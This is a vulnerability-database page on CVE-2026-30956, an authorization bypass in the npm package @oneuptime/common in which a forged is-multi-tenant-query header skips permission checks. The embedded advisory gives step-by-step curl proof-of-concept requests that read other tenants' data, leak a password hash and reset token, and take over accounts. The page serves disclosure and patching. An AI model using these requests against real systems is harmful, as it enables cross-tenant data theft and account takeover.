NIST deprecates RSA-2048 from 2030. Find every one of them before attackers do.
📦
📦 npm
Not in CISA KEV
CRITICAL severity

CVE-2026-30956 — @oneuptime/common

CRITICAL

CVE-2026-30956 is a critical-severity (CVSS 9.9) CWE-285 vulnerability in @oneuptime/common. A fix is available for @oneuptime/common — see the affected versions and patch details below.

OneUptime has authorization bypass via client‑controlled is-multi-tenant-query header

Also known asGHSA-r5v6-2599-9g3m
Published
Updated
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed
Exploitation data as of Nov 6, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

No confirmed exploitation observed yet

  • A successful exploit gives an attacker total control of the affected component, not partial access.
  • CISA’s own triage has not observed active exploitation or public proof-of-concept code for this CVE as of its last assessment.

Exploitation and automatability from CISA’s SSVC triage for CVE-2026-30956.

EPSS Exploitation Probability

via FIRST.org ↗
0.5%probability of exploitation in next 30 days
Lower Risk+0.03%
Lower risk than most CVEs46th percentile — riskier than 46% of all scored CVEsHighest risk
0.00%0.35%0.70%1.05%0.1%0.5%May 26Sep 26Nov 26

Probability of exploitation in the next 30 days, from FIRST.org EPSS.

How urgent is this, really

Where this sits among everything scored

Real-World Exposure

1 pkg affected

How broadly this vulnerability is actually deployed: weekly install volume shows current usage, and reverse-dependency count shows how many other packages break if it stays unpatched.

0other npm packages depend on this — each one inherits the vulnerability until it's patched upstream
@oneuptime/commonnpm
14Kdownloads / week

Description

Summary

A low‑privileged user can bypass authorization and tenant isolation in OneUptime v10.0.20 by sending a forged is-multi-tenant-query header together with a controlled projectid header.

Because the server trusts this client-supplied header, internal permission checks in BasePermission are skipped and tenant scoping is disabled.

This allows attackers to:

  1. Access project data belonging to other tenants
  2. Read sensitive User fields via nested relations
  3. Leak plaintext resetPasswordToken
  4. Reset the victim’s password and fully take over the account

This results in cross‑tenant data exposure and full account takeover.

Details

Root cause

The API trusts a client‑controlled header to determine whether a request should bypass authorization checks.

CommonAPI.ts

if (req.headers["is-multi-tenant-query"]) {
  props.isMultiTenantRequest = true;
}

BasePermission.ts

if (!props.isMultiTenantRequest) {
  TablePermission.checkTableLevelPermissions(...)
  QueryPermission.checkQueryPermission(...)
  SelectPermission.checkSelectPermission(...)
}

When the attacker sends:

is-multi-tenant-query: true

the system skips all authorization checks including:

  • Table permission validation
  • Query permission validation
  • Select permission validation
  • Tenant isolation enforcement

Additionally, tenant scoping is disabled in TenantPermission

Sensitive user data exposure

Projects marked with:

@MultiTenentQueryAllowed(true)

allow cross-tenant queries when the header is present.

The Project model contains a relation:

createdByUser

Because select permission checks are skipped, attackers can retrieve sensitive fields from the User model including:

password
resetPasswordToken
webauthnChallenge

Reset token stored in plaintext

In the password reset flow:

Authentication.ts

resetPasswordToken: token

The reset token is stored in plaintext in the database.

During password reset:

/api/identity/reset-password

the server validates the provided token directly.

If an attacker leaks this token through the authorization bypass, they can immediately reset the victim’s password.

Exploitation chain

  1. Attacker bypasses tenant isolation using is-multi-tenant-query
  2. Attacker reads victim project
  3. Attacker selects createdByUser.resetPasswordToken
  4. Attacker triggers forgot-password for victim
  5. Attacker retrieves the fresh token via the same query
  6. Attacker calls /api/identity/reset-password
  7. Attacker sets a new password
  8. Attacker logs in as victim

This results in full account takeover.

PoC

Setup:

  • Local OneUptime v10.0.20 instance
  • Two normal accounts:
    • Attacker account owns Project A (7cb77c45-c2e0-42b5-8a28-57aa0dec6e82)
    • Victim account owns Project B (88ced36b-4c0a-4c12-bdf1-497d60b10b23) with email [email protected]

Chain 1: Direct Project Isolation Bypass

1. Read isolation bypass

curl -X POST http://localhost/api/project/get-list \
  -H "authorization: Bearer <attacker_token>" \
  -H "projectid: 7cb77c45-c2e0-42b5-8a28-57aa0dec6e82" \
  -H "is-multi-tenant-query: true" \
  -H "content-type: application/json" \
  -d '{
        "query": {},
        "select": {
            "_id": true,
            "name": true,
            "createdOwnerEmail": true
        }
      }'

Result: Returns both the attacker's and victim's projects:

{
  "data": [
    {
      "_id": "88ced36b-4c0a-4c12-bdf1-497d60b10b23",
      "name": "Victim Project",
      "createdOwnerEmail": { "value": "[email protected]" }
    },
    {
      "_id": "7cb77c45-c2e0-42b5-8a28-57aa0dec6e82",
      "name": "Attacker Project",
      "createdOwnerEmail": { "value": "[email protected]" }
    }
  ],
  "count": 2
}
  1. Write isolation bypass

Victim project name is initially: Victim Project ORIGINAL

curl -X POST http://localhost/api/project/88ced36b-4c0a-4c12-bdf1-497d60b10b23/update-item \
  -H "authorization: Bearer <attacker_token>" \
  -H "projectid: 7cb77c45-c2e0-42b5-8a28-57aa0dec6e82" \
  -H "is-multi-tenant-query: true" \
  -H "content-type: application/json" \
  -d '{"name":"Victim Project EXPLOIT"}'

Result: Victim project name is updated to "Victim Project EXPLOIT" despite the attacker not being a member of the victim project.

Chain 2: Account Takeover via Credential Leakage

  1. Trigger password reset for victim
curl -X POST http://localhost/api/identity/forgot-password \
  -H "content-type: application/json" \
  -d "{\"email\":\"[email protected]\"}"
  1. Leak victim password hash and reset token via tenant bypass
curl -X POST http://localhost/api/project/get-list \
  -H "authorization: Bearer <attacker_token>" \
  -H "projectid: 7cb77c45-c2e0-42b5-8a28-57aa0dec6e82" \
  -H "is-multi-tenant-query: true" \
  -H "content-type: application/json" \
  -d '{
        "query": {"_id": "88ced36b-4c0a-4c12-bdf1-497d60b10b23"},
        "select": {
          "_id": true,
          "createdByUser": {
            "email": true,
            "password": true,
            "resetPasswordToken": true
          }
        }
      }'

Result: Sensitive user data is exposed:

{
  "data": [{
    "_id": "88ced36b-4c0a-4c12-bdf1-497d60b10b23",
    "createdByUser": {
      "email": {"value": "[email protected]"},
      "password": {"value": "faef08e8f2b9e9dfa09c15dfaf043b8aad7761d9712c7e09417d4da2156e33d9"},
      "resetPasswordToken": "4b75e6d0-1aca-11f1-b2d4-698549b693fb"
    }
  }]
}
  1. Take over victim account using leaked token
# Reset password with leaked token
curl -X POST http://localhost/api/identity/reset-password \
  -H "content-type: application/json" \
  -d '{
    "resetPasswordToken": "4b75e6d0-1aca-11f1-b2d4-698549b693fb",
    "password": "AttackerChosenPassword123!"
  }'

# Login as victim with new password
curl -X POST http://localhost/api/identity/login \
  -H "content-type: application/json" \
  -d '{
    "email": "[email protected]",
    "password": "AttackerChosenPassword123!"
  }'

Result: Successful login with attacker-chosen password, original password fails - complete account takeover achieved.

Result: Victim project name is updated despite the attacker not being a member of the victim project.

Impact

This vulnerability allows a low‑privileged authenticated user to:

  • bypass tenant isolation
  • access other tenant projects
  • read sensitive user credential fields
  • leak plaintext reset tokens
  • reset victim passwords
  • fully take over victim accounts

Because OneUptime is a multi‑tenant monitoring platform, this allows attackers to compromise any tenant account in the system.

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
📦npm@oneuptime/commonall versions10.0.21npm install @oneuptime/common@10.0.21

Affected Products

1 product · 1 configurations
Application
oneuptimehackerbay
< 10.0.21
range

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for @oneuptime/common, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

  2. Fix

    Update @oneuptime/common to 10.0.21 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-30956 is resolved across your whole dependency graph.

  3. Workarounds

    Put an independent control in front of the weakness: restrict the affected endpoint or interface to trusted networks, require an additional authentication factor or proxy-level check, and invalidate existing sessions and credentials in case the flaw has already been used.

Frequently Asked Questions

### Summary A low‑privileged user can bypass authorization and tenant isolation in OneUptime `v10.0.20` by sending a forged `is-multi-tenant-query` header together with a controlled `projectid` header. Because the server trusts this client-supplied header, internal permission checks in `BasePermission` are skipped and tenant scoping is disabled. This allows attackers to: 1. Access project data belonging to other tenants 2. Read sensitive User fields via nested relations 3. Leak plaintext resetPasswordToken 4. Reset the victim’s password and fully take over the account This results in cross
O3 Security · Impact-Aware SCA

Is CVE-2026-30956 in your dependencies?

Find it across npm, including transitive dependencies.

CVE-2026-30956: @oneuptime/common — Fixed in 10.0.21